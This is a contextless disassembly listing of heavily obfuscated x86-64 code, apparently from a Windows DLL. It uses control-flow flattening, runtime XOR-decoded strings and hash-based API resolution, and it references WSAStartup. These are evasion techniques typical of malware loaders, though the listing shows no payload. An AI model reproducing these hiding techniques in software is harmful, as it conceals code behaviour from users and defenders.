and rcx, rbx
xor rsi, r14
and rsi, rdi
or rsi, rcx
movabs rcx, 0x100000001b3
imul rsi, rcx
mov ecx, dword [rbp - 8]
add ecx, 1
mov ebx, 0xe8b285e9
jmp 0x1800f8cf0
mov dword [rbp - 0x18], edx
mov edi, dword [rbp - 0x18]
movsx edi, byte [rax + rdi]
mov dword [rbp - 0x30], edi
mov edi, dword [rbp - 0x30]
cmp edi, 0x20
mov ebx, 0x4c9efa83
mov edi, 0x12c44dda
cmovge ebx, edi
jmp 0x1800f8cf0
mov edi, dword [rbp - 0x40]
cmp edi, 0x5b
setl byte [rbp - 0x34]
mov ebx, 0x1e7f08b0
jmp 0x1800f8cf0
mov edi, dword [rbp - 0x30]
cmp edi, 0x7f
setl byte [rbp - 0x29]
mov ebx, 0x8722d6a5
jmp 0x1800f8cf0
mov ebx, edi
cmp edi, 0x73cb3c68
jne 0x1800f8cf0
mov rcx, qword [rbp]
sub rsp, 0x20
call fcn.1800e9be0
lea rcx, [0x1800f5550]
call rax
add rsp, 0x20
mov rax, qword [rbp - 0x70]
mov rsi, rbp
mov qword [rbp - 0x50], rsi
mov rax, qword [rbp - 0x50]
mov byte [rax], 0x3a
mov rax, qword [rbp - 0x50]
mov ecx, 0xa7346124
nop word cs:[rax + rax]
nop
cmp ecx, 0xe82faaf
je 0x1800f91c0
cmp ecx, 0xa7346124
jne 0x1800f90a0
mov qword [rbp - 0x10], rsi
mov ecx, 0xc33a2584
nop dword [rax]
cmp ecx, 0x24e97215
je 0x1800f90e1
cmp ecx, 0xc33a2584
jne 0x1800f90c0
mov rcx, qword [rbp - 0x10]
movzx ecx, byte [rcx]
mov byte [rbp - 0x18], cl
mov ecx, 0x24e97215
jmp 0x1800f90c0
movsx ecx, byte [rbp - 0x18]
xor ecx, 0x53
mov dword [rbp - 8], ecx
mov ecx, 0xe82faaf
jmp 0x1800f90a0
mov eax, dword [0x1801296d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp - 0x28]
mov ecx, dword [0x1801296dc]
mov eax, 0xf27d464
cmove eax, r9d
cmp ecx, 0xa
setl byte [rbp - 0x18]
cmovl eax, r9d
mov ecx, 0xdb3006e3
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xf27d463
jle 0x1800f9170
cmp ecx, 0xf27d464
je 0x1800f918c
cmp ecx, 0x41156582
je 0x1800f9230
cmp ecx, 0x5855ae01
jne 0x1800f9140
mov ecx, 0xd78b3f72
jmp 0x1800f9140
cmp ecx, 0xd78b3f72
je 0x1800f9193
cmp ecx, 0xdb3006e3
je 0x1800f919a
cmp ecx, 0x8397b32
jne 0x1800f9140
mov ecx, eax
jmp 0x1800f9140
mov ecx, 0x8397b32
jmp 0x1800f9140
mov ecx, 0x41156582
jmp 0x1800f9140
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov ecx, 0xf27d464
cmovne ecx, r10d
test dl, dl
cmovne ecx, r10d
jmp 0x1800f9140
mov ecx, dword [rbp - 8]
mov byte [rax + 1], cl
mov ecx, 0xa7346124
nop dword [rax + rax]
cmp ecx, 0xe82faaf
je 0x1800f9260
cmp ecx, 0xa7346124
jne 0x1800f91d0
mov qword [rbp - 0x10], rsi
mov ecx, 0xc33a2584
nop dword [rax]
cmp ecx, 0x24e97215
je 0x1800f9211
cmp ecx, 0xc33a2584
jne 0x1800f91f0
mov rcx, qword [rbp - 0x10]
movzx ecx, byte [rcx]
mov byte [rbp - 0x18], cl
mov ecx, 0x24e97215
jmp 0x1800f91f0
movsx ecx, byte [rbp - 0x18]
xor ecx, 0x65
mov dword [rbp - 8], ecx
mov ecx, 0xe82faaf
jmp 0x1800f91d0
mov dword [rbp - 0x10], 0x68
mov eax, 0x1161ada2
nop dword [rax]
cmp eax, 0x1161ada2
je 0x1800f9253
cmp eax, 0x46f34c20
jne 0x1800f9240
jmp 0x1800f92d0
mov eax, 0x46f34c20
jmp 0x1800f9240
mov ecx, dword [rbp - 8]
mov byte [rax + 2], cl
mov ecx, 0xa7346124
nop dword [rax + rax]
cmp ecx, 0xe82faaf
je 0x1800f93a0
cmp ecx, 0xa7346124
jne 0x1800f9270
mov qword [rbp - 0x10], rsi
mov ecx, 0xc33a2584
nop dword [rax]
cmp ecx, 0x24e97215
je 0x1800f92b1
cmp ecx, 0xc33a2584
jne 0x1800f9290
mov rcx, qword [rbp - 0x10]
movzx ecx, byte [rcx]
mov byte [rbp - 0x18], cl
mov ecx, 0x24e97215
jmp 0x1800f9290
movsx ecx, byte [rbp - 0x18]
xor ecx, 0x74
mov dword [rbp - 8], ecx
mov ecx, 0xe82faaf
jmp 0x1800f9270
mov byte [rbp - 8], 3
mov al, byte [rbp - 8]
mov ecx, dword [rbp - 0x10]
add cl, al
mov rax, qword [rbp]
mov byte [rax], cl
mov rax, qword [rbp]
mov ecx, dword [0x1801296d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp - 0x28]
mov edx, dword [0x1801296dc]
mov ecx, 0xf27d464
cmove ecx, r9d
cmp edx, 0xa
setl byte [rbp - 0x18]
cmovl ecx, r9d
mov edx, 0xdb3006e3
nop dword [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f9350
cmp edx, 0xf27d464
je 0x1800f936c
cmp edx, 0x41156582
je 0x1800f9410
cmp edx, 0x5855ae01
jne 0x1800f9320
mov edx, 0xd78b3f72
jmp 0x1800f9320
cmp edx, 0xd78b3f72
je 0x1800f9373
cmp edx, 0xdb3006e3
je 0x1800f937a
cmp edx, 0x8397b32
jne 0x1800f9320
mov edx, ecx
jmp 0x1800f9320
mov edx, 0x8397b32
jmp 0x1800f9320
mov edx, 0x41156582
jmp 0x1800f9320
movzx ebx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test bl, bl
cmovne edx, r10d
jmp 0x1800f9320
mov ecx, dword [rbp - 8]
mov byte [rax + 3], cl
mov ecx, 0xa7346124
nop dword [rax + rax]
cmp ecx, 0xe82faaf
je 0x1800f9440
cmp ecx, 0xa7346124
jne 0x1800f93b0
mov qword [rbp - 0x10], rsi
mov ecx, 0xc33a2584
nop dword [rax]
cmp ecx, 0x24e97215
je 0x1800f93f1
cmp ecx, 0xc33a2584
jne 0x1800f93d0
mov rcx, qword [rbp - 0x10]
movzx ecx, byte [rcx]
mov byte [rbp - 0x18], cl
mov ecx, 0x24e97215
jmp 0x1800f93d0
movsx ecx, byte [rbp - 0x18]
xor ecx, 0x45
mov dword [rbp - 8], ecx
mov ecx, 0xe82faaf
jmp 0x1800f93b0
mov dword [rbp - 0x10], WSAStartup
mov ecx, 0x1161ada2
nop dword [rax]
cmp ecx, 0x1161ada2
je 0x1800f9432
cmp ecx, 0x46f34c20
jne 0x1800f9420
jmp 0x1800f94b0
mov ecx, 0x46f34c20
jmp 0x1800f9420
mov ecx, dword [rbp - 8]
mov byte [rax + 4], cl
mov ecx, 0xa7346124
nop dword [rax + rax]
cmp ecx, 0xe82faaf
je 0x1800f9580
cmp ecx, 0xa7346124
jne 0x1800f9450
mov qword [rbp - 0x10], rsi
mov ecx, 0xc33a2584
nop dword [rax]
cmp ecx, 0x24e97215
je 0x1800f9491
cmp ecx, 0xc33a2584
jne 0x1800f9470
mov rcx, qword [rbp - 0x10]
movzx ecx, byte [rcx]
mov byte [rbp - 0x18], cl
mov ecx, 0x24e97215
jmp 0x1800f9470
movsx ecx, byte [rbp - 0x18]
xor ecx, 0x72
mov dword [rbp - 8], ecx
mov ecx, 0xe82faaf
jmp 0x1800f9450
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 1], dl
mov ecx, dword [0x1801296d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp - 0x28]
mov edx, dword [0x1801296dc]
mov ecx, 0xf27d464
cmove ecx, r9d
cmp edx, 0xa
setl byte [rbp - 0x18]
cmovl ecx, r9d
mov edx, 0xdb3006e3
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f9530
cmp edx, 0xf27d464
je 0x1800f954c
cmp edx, 0x41156582
je 0x1800f95f0
cmp edx, 0x5855ae01
jne 0x1800f9500
mov edx, 0xd78b3f72
jmp 0x1800f9500
cmp edx, 0xd78b3f72
je 0x1800f9553
cmp edx, 0xdb3006e3
je 0x1800f955a
cmp edx, 0x8397b32
jne 0x1800f9500
mov edx, ecx
jmp 0x1800f9500
mov edx, 0x8397b32
jmp 0x1800f9500
mov edx, 0x41156582
jmp 0x1800f9500
movzx ebx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test bl, bl
cmovne edx, r10d
jmp 0x1800f9500
mov ecx, dword [rbp - 8]
mov byte [rax + 5], cl
mov ecx, 0xa7346124
nop dword [rax + rax]
cmp ecx, 0xe82faaf
je 0x1800f9620
cmp ecx, 0xa7346124
jne 0x1800f9590
mov qword [rbp - 0x10], rsi
mov ecx, 0xc33a2584
nop dword [rax]
cmp ecx, 0x24e97215
je 0x1800f95d1
cmp ecx, 0xc33a2584
jne 0x1800f95b0
mov rcx, qword [rbp - 0x10]
movzx ecx, byte [rcx]
mov byte [rbp - 0x18], cl
mov ecx, 0x24e97215
jmp 0x1800f95b0
movsx ecx, byte [rbp - 0x18]
xor ecx, 0x72
mov dword [rbp - 8], ecx
mov ecx, 0xe82faaf
jmp 0x1800f9590
mov dword [rbp - 0x10], 0x65
mov ecx, 0x1161ada2
nop dword [rax]
cmp ecx, 0x1161ada2
je 0x1800f9615
cmp ecx, 0x46f34c20
jne 0x1800f9600
jmp 0x1800f9990
mov ecx, 0x46f34c20
jmp 0x1800f9600
mov ecx, dword [rbp - 8]
mov byte [rax + 6], cl
add rax, 7
mov qword [rbp - 0x40], rax
mov byte [rbp - 0x19], 0x6f
mov ecx, 0xe6764907
nop word [rax + rax]
cmp ecx, 0xe6764906
jg 0x1800f9670
cmp ecx, 0x8b848502
je 0x1800f9703
cmp ecx, 0xaf99a826
jne 0x1800f9640
jmp 0x1800f9a60
cmp ecx, 0x6c7579a7
je 0x1800f9720
cmp ecx, 0xe6764907
jne 0x1800f9640
movsx ecx, byte [rbp - 0x19]
mov edx, ecx
xor edx, 0x49b771e2
xor ecx, 0xb6488e1d
mov ebx, 0xa7346124
nop dword [rax + rax]
cmp ebx, 0xe82faaf
je 0x1800f97a3
cmp ebx, 0xa7346124
jne 0x1800f96a0
mov qword [rbp - 0x10], rsi
mov ebx, 0xc33a2584
nop dword [rax]
cmp ebx, 0x24e97215
je 0x1800f96e1
cmp ebx, 0xc33a2584
jne 0x1800f96c0
mov rbx, qword [rbp - 0x10]
movzx ebx, byte [rbx]
mov byte [rbp - 0x34], bl
mov ebx, 0x24e97215
jmp 0x1800f96c0
movsx ebx, byte [rbp - 0x34]
mov edi, ebx
xor edi, 0x49b771e2
and edi, ecx
xor ebx, 0xb6488e1d
and ebx, edx
or ebx, edi
mov dword [rbp - 0x30], ebx
mov ebx, 0xe82faaf
jmp 0x1800f96a0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rbp - 8]
mov ecx, 0x8b848502
mov edx, 0xaf99a826
cmove ecx, edx
jmp 0x1800f9640
mov rax, qword [rbp - 0x18]
movsx eax, byte [rax]
mov ecx, eax
xor ecx, 0x49b771e2
xor eax, 0xb6488e1d
mov edx, 0xa7346124
nop dword [rax]
cmp edx, 0xe82faaf
je 0x1800f9812
cmp edx, 0xa7346124
jne 0x1800f9740
mov qword [rbp - 0x10], rsi
mov edx, 0xc33a2584
nop dword [rax]
cmp edx, 0x24e97215
je 0x1800f9781
cmp edx, 0xc33a2584
jne 0x1800f9760
mov rdx, qword [rbp - 0x10]
movzx edx, byte [rdx]
mov byte [rbp - 0x34], dl
mov edx, 0x24e97215
jmp 0x1800f9760
movsx edx, byte [rbp - 0x34]
mov ebx, edx
xor ebx, 0x49b771e2
and ebx, eax
xor edx, 0xb6488e1d
and edx, ecx
or edx, ebx
mov dword [rbp - 0x30], edx
mov edx, 0xe82faaf
jmp 0x1800f9740
mov ecx, dword [rbp - 0x30]
mov rdx, qword [rbp - 0x40]
mov byte [rdx], cl
mov rcx, qword [rbp - 0x40]
mov edx, 0xa7346124
nop word cs:[rax + rax]
nop
cmp edx, 0xe82faaf
je 0x1800f9882
cmp edx, 0xa7346124
jne 0x1800f97c0
mov qword [rbp - 0x10], rsi
mov edx, 0xc33a2584
nop dword [rax]
cmp edx, 0x24e97215
je 0x1800f9801
cmp edx, 0xc33a2584
jne 0x1800f97e0
mov rdx, qword [rbp - 0x10]
movzx edx, byte [rdx]
mov byte [rbp - 0x34], dl
mov edx, 0x24e97215
jmp 0x1800f97e0
movsx edx, byte [rbp - 0x34]
xor edx, 0x72
mov dword [rbp - 0x30], edx
mov edx, 0xe82faaf
jmp 0x1800f97c0
mov eax, dword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
mov byte [rcx], al
mov rax, qword [rbp - 0x28]
mov ecx, 0xa7346124
nop word cs:[rax + rax]
nop
cmp ecx, 0xe82faaf
je 0x1800f98e2
cmp ecx, 0xa7346124
jne 0x1800f9830
mov qword [rbp - 0x10], rsi
mov ecx, 0xc33a2584
nop dword [rax]
cmp ecx, 0x24e97215
je 0x1800f9871
cmp ecx, 0xc33a2584
jne 0x1800f9850
mov rcx, qword [rbp - 0x10]
movzx ecx, byte [rcx]
mov byte [rbp - 0x34], cl
mov ecx, 0x24e97215
jmp 0x1800f9850
movsx ecx, byte [rbp - 0x34]
xor ecx, 0x65
mov dword [rbp - 0x30], ecx
mov ecx, 0xe82faaf
jmp 0x1800f9830
mov edx, dword [rbp - 0x30]
mov byte [rcx + 1], dl
mov edx, 0xa7346124
nop dword [rax]
cmp edx, 0xe82faaf
je 0x1800f9902
cmp edx, 0xa7346124
jne 0x1800f9890
mov qword [rbp - 0x10], rsi
mov edx, 0xc33a2584
nop dword [rax]
cmp edx, 0x24e97215
je 0x1800f98d1
cmp edx, 0xc33a2584
jne 0x1800f98b0
mov rdx, qword [rbp - 0x10]
movzx edx, byte [rdx]
mov byte [rbp - 0x34], dl
mov edx, 0x24e97215
jmp 0x1800f98b0
movsx edx, byte [rbp - 0x34]
xor edx, 0x4d
mov dword [rbp - 0x30], edx
mov edx, 0xe82faaf
jmp 0x1800f9890
mov ecx, dword [rbp - 0x30]
mov byte [rax + 1], cl
add rax, 2
mov rcx, qword [rbp - 0x50]
add rcx, 0xe
mov qword [rbp - 8], rcx
mov ecx, 0x8b848502
jmp 0x1800f9640
mov edx, dword [rbp - 0x30]
mov byte [rcx + 2], dl
mov edx, 0xa7346124
nop dword [rax]
cmp edx, 0xe82faaf
je 0x1800f9962
cmp edx, 0xa7346124
jne 0x1800f9910
mov qword [rbp - 0x10], rsi
mov edx, 0xc33a2584
nop dword [rax]
cmp edx, 0x24e97215
je 0x1800f9951
cmp edx, 0xc33a2584
jne 0x1800f9930
mov rdx, qword [rbp - 0x10]
movzx edx, byte [rdx]
mov byte [rbp - 0x34], dl
mov edx, 0x24e97215
jmp 0x1800f9930
movsx edx, byte [rbp - 0x34]
xor edx, 0x6f
mov dword [rbp - 0x30], edx
mov edx, 0xe82faaf
jmp 0x1800f9910
mov edx, dword [rbp - 0x30]
mov byte [rcx + 3], dl
add rcx, 4
mov qword [rbp - 0x28], rcx
lea rcx, [0x18011fa38]
mov qword [rbp - 0x18], rcx
mov ecx, 0x6c7579a7
jmp 0x1800f9640
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 2], dl
mov ecx, dword [0x1801296d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp - 0x28]
mov edx, dword [0x1801296dc]
mov ecx, 0xf27d464
cmove ecx, r9d
cmp edx, 0xa
setl byte [rbp - 0x18]
cmovl ecx, r9d
mov edx, 0xdb3006e3
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f9a10
cmp edx, 0xf27d464
je 0x1800f9a2c
cmp edx, 0x41156582
je 0x1800f9e90
cmp edx, 0x5855ae01
jne 0x1800f99e0
mov edx, 0xd78b3f72
jmp 0x1800f99e0
cmp edx, 0xd78b3f72
je 0x1800f9a33
cmp edx, 0xdb3006e3
je 0x1800f9a3a
cmp edx, 0x8397b32
jne 0x1800f99e0
mov edx, ecx
jmp 0x1800f99e0
mov edx, 0x8397b32
jmp 0x1800f99e0
mov edx, 0x41156582
jmp 0x1800f99e0
movzx ebx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test bl, bl
cmovne edx, r10d
jmp 0x1800f99e0
sub rsp, 0x20
mov rcx, rsi
call fcn.18002cb70
add rsp, 0x20
mov ecx, dword [0x1801294e0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
mov r10d, 0xd53d7942
mov edx, 0x3c88099c
cmovne r10d, edx
cmp dword [0x1801294e4], 0xa
setl dl
mov ebx, 0xd53d7942
cmovl r10d, ebx
or dl, cl
mov r8d, 0xf9c47bc
mov ecx, 0x37b08906
cmovne r8d, ecx
mov edx, 0xf9c47bc
mov ecx, 0xa3c9f9bf
cmovne edx, ecx
mov r9d, 0x3c88099c
mov ecx, 0x282e48bc
cmovne r9d, ecx
mov ebx, 0x8af4ce9b
jmp 0x1800f9af0
mov rdi, qword [rbp - 8]
mov ebx, 0xa3c9f9bf
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edi, ebx
cmp ebx, 0x212c6d15
jle 0x1800f9b40
cmp edi, 0x3c88099b
jle 0x1800f9ba0
cmp edi, 0x52206a52
jle 0x1800f9c46
cmp edi, 0x6b642c91
jg 0x1800f9d25
cmp edi, 0x52206a53
je 0x1800f9d45
mov ebx, edi
cmp edi, 0x5a271eef
jne 0x1800f9af0
mov ebx, 0xceeedbf2
mov r11d, dword [rbp - 0x40]
jmp 0x1800f9af0
cmp edi, 0xd8f901bd
jg 0x1800f9bf0
cmp edi, 0xa3c9f9be
jg 0x1800f9c76
cmp edi, 0x8722d6a5
je 0x1800f9d52
cmp edi, 0x8af4ce9b
je 0x1800f9d68
mov ebx, edi
cmp edi, 0x90bf4f40
jne 0x1800f9af0
mov edi, dword [rbp - 0x50]
or edi, 0x20
mov dword [rbp - 0x40], edi
mov ebx, 0x5a271eef
jmp 0x1800f9af0
cmp edi, 0x333d9636
jg 0x1800f9cad
mov ebx, edx
cmp edi, 0x212c6d16
je 0x1800f9af0
cmp edi, 0x282e48bc
je 0x1800f9d72
mov ebx, edi
cmp edi, 0x30a8a37e
jne 0x1800f9af0
mov ebx, 0x333d9637
mov r12d, dword [rbp - 0x30]
jmp 0x1800f9af0
cmp edi, 0xf9c47bb
jg 0x1800f9ce9
cmp edi, 0xd8f901be
je 0x1800f9d7c
mov ebx, r10d
cmp edi, 0xde149e36
je 0x1800f9af0
mov ebx, edi
cmp edi, 0xe8b285e9
jne 0x1800f9af0
mov dword [rbp - 0x18], ecx
mov qword [rbp - 0x10], rsi
mov edi, dword [rbp - 0x28]
mov ebx, dword [rbp - 0x18]
cmp ebx, edi
mov ebx, 0x73cb3c68
mov edi, 0x6b642c92
cmovb ebx, edi
jmp 0x1800f9af0
cmp edi, 0x3c88099c
je 0x1800f9d8a
cmp edi, 0x3c99517c
je 0x1800f9d9a
mov ebx, edi
cmp edi, 0x4c9efa83
jne 0x1800f9af0
mov ebx, 0x3c99517c
jmp 0x1800f9af0
cmp edi, 0xa3c9f9bf
je 0x1800f9da9
cmp edi, 0xceeedbf2
je 0x1800f9dc5
mov ebx, edi
cmp edi, 0xd53d7942
jne 0x1800f9af0
mov edi, dword [rbp - 0x28]
add edi, 1
mov dword [rbp - 0x30], edi
mov ebx, r9d
jmp 0x1800f9af0
cmp edi, 0x333d9637
je 0x1800f9e05
cmp edi, 0x37aeee4c
je 0x1800f9e2b
mov ebx, edi
cmp edi, 0x37b08906
jne 0x1800f9af0
cmp byte [rbp - 0x29], 0
mov ebx, 0xd8f901be
mov edi, 0x37aeee4c
cmovne ebx, edi
jmp 0x1800f9af0
cmp edi, 0xf9c47bc
je 0x1800f9ad8
cmp edi, 0x12c44dda
je 0x1800f9e3f
mov ebx, edi
cmp edi, 0x1e7f08b0
jne 0x1800f9af0
cmp byte [rbp - 0x19], 0
mov ebx, 0xd8f901be
mov edi, 0x90bf4f40
cmovne ebx, edi
jmp 0x1800f9af0
cmp edi, 0x6b642c92
jne 0x1800f9e53
mov edi, dword [rbp - 0x18]
add rdi, rax
mov qword [rbp - 8], rdi
mov ebx, 0x212c6d16
jmp 0x1800f9af0
mov ebx, 0x333d9637
xor r12d, r12d
jmp 0x1800f9af0
cmp byte [rbp - 0x41], 0
mov ebx, 0x4c9efa83
mov edi, 0xde149e36
cmovne ebx, edi
jmp 0x1800f9af0
mov ebx, 0x52206a53
jmp 0x1800f9af0
mov ebx, 0x30a8a37e
jmp 0x1800f9af0
mov ebx, 0xceeedbf2
mov r11d, dword [rbp - 0x50]
jmp 0x1800f9af0
mov edi, dword [rbp - 0x28]
mov edi, dword [rbp - 0x28]
mov ebx, 0xd53d7942
jmp 0x1800f9af0
mov ebx, 0xe8b285e9
xor ecx, ecx
mov rsi, r13
jmp 0x1800f9af0
mov rdi, qword [rbp - 8]
movsx edi, byte [rdi]
mov dword [rbp - 0x50], edi
mov edi, dword [rbp - 0x50]
cmp edi, 0x41
setge byte [rbp - 0x29]
mov ebx, r8d
jmp 0x1800f9af0
movsxd rsi, r11d
mov rcx, qword [rbp - 0x10]
mov rdi, rcx
xor rdi, r15
mov rbx, rsi
xor rbx, r15
xor rcx, r14
and rcx, rbx
xor rsi, r14
and rsi, rdi
or rsi, rcx
movabs rcx, 0x100000001b3
imul rsi, rcx
mov ecx, dword [rbp - 0x18]
add ecx, 1
mov ebx, 0xe8b285e9
jmp 0x1800f9af0
mov dword [rbp - 0x28], r12d
mov edi, dword [rbp - 0x28]
movsx edi, byte [rax + rdi]
mov dword [rbp - 0x34], edi
mov edi, dword [rbp - 0x34]
cmp edi, 0x20
mov ebx, 0x4c9efa83
mov edi, 0x12c44dda
cmovge ebx, edi
jmp 0x1800f9af0
mov edi, dword [rbp - 0x50]
cmp edi, 0x5b
setl byte [rbp - 0x19]
mov ebx, 0x1e7f08b0
jmp 0x1800f9af0
mov edi, dword [rbp - 0x34]
cmp edi, 0x7f
setl byte [rbp - 0x41]
mov ebx, 0x8722d6a5
jmp 0x1800f9af0
mov ebx, edi
cmp edi, 0x73cb3c68
jne 0x1800f9af0
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.1800e9be0
mov ecx, 0x8003
call rax
add rsp, 0x20
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x78]
mov eax, 0x83e5a0ec
jmp 0x1800f5660
mov dword [rbp - 0x10], 0x61
mov ecx, 0x1161ada2
nop dword [rax]
cmp ecx, 0x1161ada2
je 0x1800f9eb2
cmp ecx, 0x46f34c20
jne 0x1800f9ea0
jmp 0x1800f9ec0
mov ecx, 0x46f34c20
jmp 0x1800f9ea0
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 3], dl
mov ecx, dword [0x1801296d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp - 0x28]
mov edx, dword [0x1801296dc]
mov ecx, 0xf27d464
cmove ecx, r9d
cmp edx, 0xa
setl byte [rbp - 0x18]
cmovl ecx, r9d
mov edx, 0xdb3006e3
mov edi, 0xe946e69c
nop word cs:[rax + rax]
cmp edx, 0xf27d463
jle 0x1800f9f40
cmp edx, 0xf27d464
je 0x1800f9f5c
cmp edx, 0x41156582
je 0x1800f9f90
cmp edx, 0x5855ae01
jne 0x1800f9f10
mov edx, 0xd78b3f72
jmp 0x1800f9f10
cmp edx, 0xd78b3f72
je 0x1800f9f63
cmp edx, 0xdb3006e3
je 0x1800f9f6a
cmp edx, 0x8397b32
jne 0x1800f9f10
mov edx, ecx
jmp 0x1800f9f10
mov edx, 0x8397b32
jmp 0x1800f9f10
mov edx, 0x41156582
jmp 0x1800f9f10
movzx ebx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test bl, bl
cmovne edx, r10d
jmp 0x1800f9f10
mov dword [rbp - 0x10], 0x64
mov ecx, 0x1161ada2
nop dword [rax]
cmp ecx, 0x1161ada2
je 0x1800f9fb2
cmp ecx, 0x46f34c20
jne 0x1800f9fa0
jmp 0x1800f9fc0
mov ecx, 0x46f34c20
jmp 0x1800f9fa0
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 4], dl
mov byte [rax + 5], 0
mov rax, qword [rbp - 0x58]
mov edx, 0xa63637bb
jmp 0x1800fa000
mov dword [rbp - 0x28], ecx
mov ecx, dword [rbp - 0x28]
mov rdx, qword [rbp - 0x10]
mov byte [rdx], cl
mov rcx, qword [rbp]
add rcx, 1
mov edx, 0xf579b68d
nop word [rax + rax]
cmp edx, 0xf8072f04
jle 0x1800fa070
cmp edx, 0x256ee3aa
jle 0x1800fa0a0
cmp edx, 0x63deddcd
je 0x1800fa0fd
cmp edx, 0x750edace
jne 0x1800fa13a
movsx ecx, byte [rbp - 0x30]
mov dword [rbp - 0x50], ecx
mov byte [rbp - 0x28], 3
movsx ecx, byte [rbp - 0x28]
mov dword [rbp - 0x40], ecx
mov edx, 0x1bdf049b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x632bd076
je 0x1800f9fde
cmp edx, 0x1bdf049b
jne 0x1800fa050
mov ecx, dword [rbp - 0x50]
sub ecx, dword [rbp - 0x40]
mov edx, 0x632bd076
jmp 0x1800fa050
cmp edx, 0xe946e69b
jg 0x1800fa0d0
cmp edx, 0xa63637bb
je 0x1800fa10f
cmp edx, 0xd71d5ec3
jne 0x1800fa000
mov qword [rbp - 0x18], rax
mov edx, 0x63deddcd
jmp 0x1800fa000
cmp edx, 0xf8072f05
je 0x1800fa119
cmp edx, 0x11165175
jne 0x1800fa000
mov rdx, qword [rbp - 0x10]
mov dl, byte [rdx]
mov byte [rbp - 0x30], dl
mov edx, 0x750edace
jmp 0x1800fa000
cmp edx, 0xe946e69c
je 0x1800fa125
cmp edx, 0xf579b68d
jne 0x1800fa000
mov qword [rbp], rcx
mov rdx, qword [rbp]
cmp rdx, 0xc
mov edx, 0xd71d5ec3
cmovb edx, edi
jmp 0x1800fa000
mov rdx, qword [rbp - 0x18]
mov qword [rbp - 8], rdx
mov edx, 0x256ee3ab
jmp 0x1800fa000
mov edx, 0xf8072f05
jmp 0x1800fa000
mov edx, 0xf579b68d
xor ecx, ecx
jmp 0x1800fa000
mov rdx, qword [rbp]
add rdx, rax
mov qword [rbp - 0x10], rdx
mov edx, 0x11165175
jmp 0x1800fa000
cmp edx, 0x256ee3ab
jne 0x1800fa000
mov r10, qword [rbp - 8]
mov eax, dword [0x1801294e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov r11d, 0xd53d7942
mov ecx, 0x3c88099c
cmovne r11d, ecx
cmp dword [0x1801294e4], 0xa
setl cl
mov edx, 0xd53d7942
cmovl r11d, edx
or cl, al
mov r8d, 0xf9c47bc
mov eax, 0x37b08906
cmovne r8d, eax
mov ebx, 0xf9c47bc
mov eax, 0xa3c9f9bf
cmovne ebx, eax
mov r9d, 0x3c88099c
mov eax, 0x282e48bc
cmovne r9d, eax
mov ecx, 0x8af4ce9b
jmp 0x1800fa1c0
mov rcx, qword [rbp - 0x10]
mov ecx, 0xa3c9f9bf
nop dword [rax + rax]
mov edi, ecx
cmp ecx, 0x212c6d15
jle 0x1800fa210
cmp edi, 0x3c88099b
jle 0x1800fa270
cmp edi, 0x52206a52
jle 0x1800fa316
cmp edi, 0x6b642c91
jg 0x1800fa3f5
cmp edi, 0x52206a53
je 0x1800fa415
mov ecx, edi
cmp edi, 0x5a271eef
jne 0x1800fa1c0
mov ecx, 0xceeedbf2
mov r12d, dword [rbp - 0x28]
jmp 0x1800fa1c0
cmp edi, 0xd8f901bd
jg 0x1800fa2c0
cmp edi, 0xa3c9f9be
jg 0x1800fa346
cmp edi, 0x8722d6a5
je 0x1800fa421
cmp edi, 0x8af4ce9b
je 0x1800fa437
mov ecx, edi
cmp edi, 0x90bf4f40
jne 0x1800fa1c0
mov ecx, dword [rbp - 0x40]
or ecx, 0x20
mov dword [rbp - 0x28], ecx
mov ecx, 0x5a271eef
jmp 0x1800fa1c0
cmp edi, 0x333d9636
jg 0x1800fa37d
mov ecx, ebx
cmp edi, 0x212c6d16
je 0x1800fa1c0
cmp edi, 0x282e48bc
je 0x1800fa441
mov ecx, edi
cmp edi, 0x30a8a37e
jne 0x1800fa1c0
mov ecx, 0x333d9637
mov edx, dword [rbp - 0x50]
jmp 0x1800fa1c0
cmp edi, 0xf9c47bb
jg 0x1800fa3b9
cmp edi, 0xd8f901be
je 0x1800fa44b
mov ecx, r11d
cmp edi, 0xde149e36
je 0x1800fa1c0
mov ecx, edi
cmp edi, 0xe8b285e9
jne 0x1800fa1c0
mov dword [rbp - 8], eax
mov qword [rbp], rsi
mov ecx, dword [rbp - 0x18]
mov edi, dword [rbp - 8]
cmp edi, ecx
mov ecx, 0x73cb3c68
mov edi, 0x6b642c92
cmovb ecx, edi
jmp 0x1800fa1c0
cmp edi, 0x3c88099c
je 0x1800fa459
